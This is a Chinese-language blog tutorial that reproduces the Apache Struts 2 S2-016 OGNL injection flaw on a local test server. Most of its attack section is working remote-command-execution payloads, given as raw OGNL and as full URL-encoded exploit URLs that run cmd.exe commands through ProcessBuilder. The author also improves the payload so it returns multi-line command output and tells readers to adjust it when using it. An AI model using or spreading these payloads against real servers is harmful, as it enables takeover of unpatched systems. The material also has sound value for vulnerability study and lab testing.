Struts-S2-016漏洞利用,解決網上大部分POC部分命令執行不完全問題(含POC,含環境搭建)

Struts-s2-016

此文僅供大家交流學習,嚴禁非法使用

一、參考網址:

http://www.freebuf.com/vuls/11220.html

二、 影響版本:

Struts 2.0.0 - Struts 2.3.15

三、 漏洞介紹:

Struts 2 DefaultActionMapper支持通過使用“action:”或“redirect:”前綴參數來進行短路導航狀態更改的方法,然后是所需的導航目標表達式。該機制旨在幫助將導航信息附加到表單中的按鈕。
在2.3.15.1之前的Struts 2中,“action:”,“redirect:”或“redirectAction:”之后的信息沒有被正確的清理。由于所述信息將被評估為對值堆棧的OGNL表達式,因此引入了注入服務器端代碼的可能性。
參數action的值redirect以及redirectAction沒有正確過濾,導致ognl代碼執行。

四、 環境搭建:

  • 下載/struts/2.1.6

下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下載安裝xampp

  • 部署showcase

  • 解壓

2.1.6_1.png

2.1.6_2.png
  • 復制到.
2.1.6_3.png
  • 重啟tomcat
2.1.6_4.png
  • 已成功自動部署
2.1.6_5.png

五、 POC:

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

六、 測試網址:

原始網址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

修改之后網址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

七、執行結果

執行結果,有下載文件,下載并用notepad++打開看到結果


1.png

八、發現問題并修改

但存在問題,執行ipconfig命令時,僅僅輸出一行
自習查看POC,很是無奈,但發現println,想到java也有類似函數,java中是僅輸出一行,要想全部輸出要循環直到read()=-1,恰好看到前面也有read函數,感覺應該一樣,但懶的去寫循環就手動循環;兩句話:#d.read(#e),#matt.getWriter().println(#e),需要修改之前e大小,我這里改為500。至于循環次數,和e的大小,大家在使用的時候根據需求適當調整。我嘗試了一下,結果成功了。

修改后POC

${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

修改后網址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

執行結果:

2.png

九、 至此,該漏洞基本利用完畢

本人還是一個未畢業的小萌新,希望大家多多幫助,有問題請發送郵件到xrzsupupup@163.com不勝感激,我也會盡量去幫助大家

堅決做一名白帽子

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容